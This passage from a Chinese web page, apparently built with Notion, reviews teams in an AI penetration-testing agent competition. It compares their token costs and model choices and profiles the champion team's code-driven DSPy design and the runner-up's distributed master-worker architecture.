class="notion-simple-table-cell">约 1000多元/天</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">训练阶段成本</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81aeacbbc2e365442f6d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Antix(成信大)</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">19.2元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Kimi消耗较高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Kimi</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c3b637df1c9e4e8f6a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>绿盟</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">性价比较高</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">DeepSeek</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81d9b8f1dfd82bd00d97"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>yhy0</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">13.7元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">全用DeepSeek</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">DeepSeek</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c812ea87fc78b82f0a763"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>简单题参考</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">0.8元</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">以XBow-039-24为例</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">N/A</div></td></tr></tbody></table><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81beaff7e375eff0d331"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image10-20260217113443-ye396rq.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81be-aff7-e375eff0d331" alt="成本对比分析 - 各战队Token消耗" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81579cc0e3d9dffc9de7">成本对比分析 - 各战队Token消耗</div><div class="notion-text notion-block-30a0f0c5b87c8116b4c1e47e85e44d83"><b>成本分析要点：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81bb960bddbafb213a20" style="list-style-type:decimal"><li><b>难题成本暴增</b> - 工具调用失败、意图偏离会导致成本指数级上升</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81c7bda0ccd0345eaee9" style="list-style-type:decimal"><li><b>模型选择影响</b> - DeepSeek性价比最优，Kimi在攻坚难题上有优势</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81cabdf9c818f5e2f022" style="list-style-type:decimal"><li><b>优化方向</b> - 减少无效轮次、优化上下文压缩、精准工具调用</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81708910e328f4c3e2ef"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81939d4dc7417aa7dc37" data-id="30a0f0c5b87c81939d4dc7417aa7dc37"><span><div id="30a0f0c5b87c81939d4dc7417aa7dc37" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81939d4dc7417aa7dc37" title="参赛队伍全景分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">参赛队伍全景分析</span></span></h2><blockquote class="notion-quote notion-block-30a0f0c5b87c8113b52dd1090d507d2c"><div><b>重要说明：</b> 各战队报告内容多为未来规划和预期，并不代表其当前的完整能力水平</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c812ea0dbd10674bf67ad" data-id="30a0f0c5b87c812ea0dbd10674bf67ad"><span><div id="30a0f0c5b87c812ea0dbd10674bf67ad" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c812ea0dbd10674bf67ad" title="长亭外 - 冠军团队 (NO.1)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">长亭外 - 冠军团队 (NO.1)</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81269d35e2f2de32647e"><b>核心特色:</b> 代码化Agent接口 | 编程而非提示 | 代码规划 | DSPy框架
<em>注：本文使用MPI指代”Model Programming Interface”（模型编程接口）</em></div><div class="notion-text notion-block-30a0f0c5b87c81679324fbd5daadc164"><b>战队格言:</b> “Programming not Prompting”</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8167b4b0e856d0dad71e" data-id="30a0f0c5b87c8167b4b0e856d0dad71e"><span><div id="30a0f0c5b87c8167b4b0e856d0dad71e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8167b4b0e856d0dad71e" title="冠军成就"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">冠军成就</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81cb84dae1f7708e1170"><b>最终排名:</b> 第一名（冠军）</div><div class="notion-text notion-block-30a0f0c5b87c81878059fa0c570a29db"><b>明显优势：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c8177ba43cf4de2aa4fa8"><div>第三名和冠军、亚军差距较大</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81eabb06c5acf332392a"><b>成本投入：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813a8fdae0e5c718fd50"><li>平均每支队伍花费约 <b>30,000元</b></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818f8e76cb22df6b156e"><li>在高成本下获得最高回报</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81de8e58cca2c9106b16"><li>证明了”高投入高产出”策略的有效性</li></ul><div class="notion-text notion-block-30a0f0c5b87c81e3add4e95d95527245"><b>核心成员:</b> 西安交通大学博士团队</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818fad2ce91776e646b8" data-id="30a0f0c5b87c818fad2ce91776e646b8"><span><div id="30a0f0c5b87c818fad2ce91776e646b8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818fad2ce91776e646b8" title="核心创新：MPI (Model Programming Interface)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：MPI (Model Programming Interface)</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8142a106e3436c77fbdb"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image13-20260217113443-b0smf8z.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8142-a106-e3436c77fbdb" alt="长亭外 - MPI架构示意图" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81148927c51896f70781">长亭外 - MPI架构示意图</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81eb8f35e027bd65d053"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn02_mpi_principle-20260217113443-scmpomo.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81eb-8f35-e027bd65d053" alt="生成图片 - MPI工作原理（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c811d9020c8847a09de7e">生成图片 - MPI工作原理（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f3b76dcbbd8a46a5ee" data-id="30a0f0c5b87c81f3b76dcbbd8a46a5ee"><span><div id="30a0f0c5b87c81f3b76dcbbd8a46a5ee" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f3b76dcbbd8a46a5ee" title="核心范式：编程而非提示 (Programming not Prompting)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心范式：编程而非提示 (Programming not Prompting)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81ffa943e76663460146"><b>设计理念对比：</b></div><div class="notion-text notion-block-30a0f0c5b87c8189a97cc9f435368141"><b>传统方案（Prompting）：</b></div><div class="notion-text notion-block-30a0f0c5b87c8149bff4cdfa783cf75c"><b>长亭方案（Programming）：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d08197d97999eaff66" data-id="30a0f0c5b87c81d08197d97999eaff66"><span><div id="30a0f0c5b87c81d08197d97999eaff66" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d08197d97999eaff66" title="实现对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">实现对比</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8176a5f8fa0dd3e4e2cb"><b>优势对比：</b></div><table class="notion-simple-table notion-block-30a0f0c5b87c81ebad96df4c01ec3b9d"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81d78b5ce5cf846a9578"><td class="" style="width:120px"><div class="notion-simple-table-cell">维度</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Prompt方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码方式</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81e2837afb9e5d88adca"><td class="" style="width:120px"><div class="notion-simple-table-cell">精确性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模糊</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">精确 ✅</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81a4a683dc212977735b"><td class="" style="width:120px"><div class="notion-simple-table-cell">稳定性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">不稳定</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">稳定 ✅</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81a58fa7d2aa8b235b1e"><td class="" style="width:120px"><div class="notion-simple-table-cell">可维护性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">难维护</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">易维护 ✅</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81068967ff30cf7a945b"><td class="" style="width:120px"><div class="notion-simple-table-cell">逻辑表达</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">难以精确</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完全控制 ✅</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e7ac6ee7176cd7aa7e" data-id="30a0f0c5b87c81e7ac6ee7176cd7aa7e"><span><div id="30a0f0c5b87c81e7ac6ee7176cd7aa7e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81e7ac6ee7176cd7aa7e" title="执行与暂停机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">执行与暂停机制</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c810f9249d32df495523e"><b>工作原理：</b></div><div class="notion-text notion-block-30a0f0c5b87c81bdb418ea3510f02451"><b>价值：</b>
让长流程控制变得非常精准，每一步都可控。</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8172b591d7171ba52a5f" data-id="30a0f0c5b87c8172b591d7171ba52a5f"><span><div id="30a0f0c5b87c8172b591d7171ba52a5f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8172b591d7171ba52a5f" title="DSPy框架理念"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">DSPy框架理念</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81e9b3b1e0ff73c17a2a"><b>DSPy = Programmatic LLM Interactions</b></div><div class="notion-text notion-block-30a0f0c5b87c81a18a9fcc1e41dfb806"><b>核心价值：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810a9a4acac8160e6c3b"><li>自动化优化Prompt（无需手动调参）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817baa66e05d6dbe5039"><li>程序化定义LLM调用流程</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818e8385c26b1be4fce5"><li>类型化的输入输出保证</li></ul><blockquote class="notion-quote notion-block-30a0f0c5b87c813c8c65de32a92258ec"><div>“让AI自己写Prompt，而不是人类猜测”</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81999fc3e473c52946ee"><b>编程 vs 提示词：</b></div><div class="notion-text notion-block-30a0f0c5b87c81dba84fd6287622e14e"><b>提示词工程：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814faaf7c18c572940a0"><li>优点: 简单易上手</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81959c70da59ef199fd9"><li>缺点: 不稳定、难以调试、难以维护、难以扩展</li></ul><div class="notion-text notion-block-30a0f0c5b87c81fb90f5d17b3c0fc571"><b>代码规划：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817fa2ccfaa2934f13c5"><li>优点: 稳定、易调试、易维护、易扩展</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81358c01f3e6ec5a1537"><li>缺点: 需要编程基础</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81b49e1ec741dc2751f9" data-id="30a0f0c5b87c81b49e1ec741dc2751f9"><span><div id="30a0f0c5b87c81b49e1ec741dc2751f9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81b49e1ec741dc2751f9" title="成功因素分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">成功因素分析</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8144a76cee676c2d2eb2" style="list-style-type:decimal"><li><b>技术理念的先进性</b> ✅</li><ol class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8144a76cee676c2d2eb2" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d5b326dadd1cbfdc50"><li>“Programming not Prompting”是正确的方向</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81df97f6fb868996f3fc"><li>代码比自然语言精确、稳定、易维护</li></ul></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816fa237da56fb7aaaf0" style="list-style-type:decimal"><li><b>工程化的完整性</b> ✅</li><ol class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816fa237da56fb7aaaf0" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b18ca0c9fc17e09b8e"><li>完整的实现框架</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81209096d0ad9a2ec329"><li>成熟的DSPy库</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a6b4b8cceba514274d"><li>可落地的方案</li></ul></ol></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e58e20ebe694ec6d58" style="list-style-type:decimal"><li><b>团队的专业深度</b> ✅</li><ol class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e58e20ebe694ec6d58" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814c81d8d4f2afe8ab88"><li>西交博士团队：深厚的理论功底、丰富的工程经验</li></ul></ol></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8128bc43d952873eba4e" style="list-style-type:decimal"><li><b>高投入的有效利用</b> ✅</li><ol class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8128bc43d952873eba4e" style="list-style-type:lower-alpha"><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815084baf1143c11a9cf"><li>3万元/队的成本：不是浪费，是投资</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ba88e0d7da46060936"><li>用在了刀刃上，获得了最高回报</li></ul></ol></ol><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81048e9bc1156fc2f2d7" data-id="30a0f0c5b87c81048e9bc1156fc2f2d7"><span><div id="30a0f0c5b87c81048e9bc1156fc2f2d7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81048e9bc1156fc2f2d7" title="可借鉴之处"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a7aeb9d9e9428d6bcc" style="list-style-type:decimal"><li><b>代码优于提示</b> ⭐⭐⭐⭐⭐ - 这是明确的方向</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c818f8506cbb3c9064f5e" style="list-style-type:decimal"><li><b>执行暂停机制</b> ⭐⭐⭐⭐⭐ - 精确的流程控制</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81048f12c63bf8a4f48a" style="list-style-type:decimal"><li><b>工程化思维</b> ⭐⭐⭐⭐⭐ - 完整的框架，可落地</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81bf9d27d71e3c53ffcc" style="list-style-type:decimal"><li><b>DSPy框架</b> ⭐⭐⭐⭐⭐ - 值得深入研究，可直接使用</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81299dbadb248ced8969"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81169b90f7a9a387972d" data-id="30a0f0c5b87c81169b90f7a9a387972d"><span><div id="30a0f0c5b87c81169b90f7a9a387972d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81169b90f7a9a387972d" title="西安交通大学 - 亚军团队 (NO.2)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">西安交通大学 - 亚军团队 (NO.2)</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81e7bbe8d44ee692cd76"><b>核心特色:</b> 分布式集群架构 | XML强类型协议 | 三阶段流水线 | 底层工具封装</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c817ab4fee67fa2439a2b" data-id="30a0f0c5b87c817ab4fee67fa2439a2b"><span><div id="30a0f0c5b87c817ab4fee67fa2439a2b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817ab4fee67fa2439a2b" title="亚军成就"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">亚军成就</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81109babd2f7928b5540"><b>最终排名:</b> 第二名（亚军）</div><div class="notion-text notion-block-30a0f0c5b87c81449e91c029d02c43b8"><b>与冠军的差距：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ceb228ebcf2bc59b4f"><li>仅次于长亭外</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ab9c4dcf4b7f087d2a"><li>明显领先第三名</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8104b11de25528c4d26a"><li>展现了强大的综合实力</li></ul><div class="notion-text notion-block-30a0f0c5b87c812087d9dc183821434b"><b>核心团队:</b> 西安交通大学博士团队</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81d4b6fac928ae3902e6" data-id="30a0f0c5b87c81d4b6fac928ae3902e6"><span><div id="30a0f0c5b87c81d4b6fac928ae3902e6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d4b6fac928ae3902e6" title="核心创新：分布式集群架构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心创新：分布式集群架构</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c8171807ad79384f0514a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image37-20260217113443-t4y2rgg.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8171-807a-d79384f0514a" alt="西安交大 - 分布式Master-Worker架构" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8160952ef6dff999e70a">西安交大 - 分布式Master-Worker架构</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81bfa191fe33dbfca198"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/cn03_distributed_arch-20260217113443-2ydp9sr.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81bf-a191-fe33dbfca198" alt="生成图片 - 分布式Master-Worker集群架构（中文）" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8197a3c7d4f55ba3c1f5">生成图片 - 分布式Master-Worker集群架构（中文）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81e38eaac4d2a97d4caa" data-id="30a0f0c5b87c81e38eaac4d2a97d4caa"><span><div id="30a0f0c5b87c81e38eaac4d2a97d4caa" 